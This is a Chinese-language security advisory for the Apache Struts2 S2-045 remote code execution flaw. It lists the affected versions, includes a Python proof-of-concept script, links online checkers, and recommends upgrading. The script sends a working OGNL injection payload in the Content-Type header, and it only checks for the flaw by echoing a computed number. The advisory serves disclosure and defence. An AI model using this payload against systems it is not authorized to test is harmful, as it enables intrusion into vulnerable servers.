0x00 漏洞介绍
Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CNNVD-201703-152。攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。
具体漏洞描述如下:
https://cwiki.apache.org/confluence/display/WW/S2-045?from=timeline&isappinstalled=0
0x01 受影响版本
- Struts 2.3.5 – Struts 2.3.31
- Struts 2.5 – Struts 2.5.10
0x02 Python POC
此POC由Python编写,需要安装requests包。
#coding: UTF-8
#漏洞名:Apache Struts2 曝任意代码执行漏洞
#CVE编号:S2-045,CVE-2017-5638
#说明:此程序主要用于检查是否存在此漏洞
#申明:此程序且供交流学习使用,严禁非法使用
#python version 2.7
import requests
import sys
def poc(url):
payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
headers = {}
headers["Content-Type"] = payload
r = requests.get(url, headers=headers)
if "105059592" in r.content:
return True
return False
if __name__ == '__main__':
print "Apache Struts2 曝任意代码执行漏洞 POC"
#xxx.do 或者xxx.action
url="" #填写检测地址
if poc(url):
print "存在此漏洞!"
else:
print "不存在此漏洞!"
0x03 在线漏洞检测
绿盟科技紧急漏洞在线检测:
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page:_id=12
安恒重大漏洞在线检测:
http://0day.websaas.com.cn/?code=vsnh
魔方安全检测:
http://matrix.cubesec.cn/src/views/scaning.html
0x04 官方解决方案
官方已经发布了版本更新,建议用户升级到不受影响的最新版本(Struts2 2.3.32或Struts 2.5.10.1),下载链接如下所示:
Struts 2.3.32: https://github.com/apache/struts/releases/tag/STRUTS_2_3_32
Struts 2.5.10.1:https://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1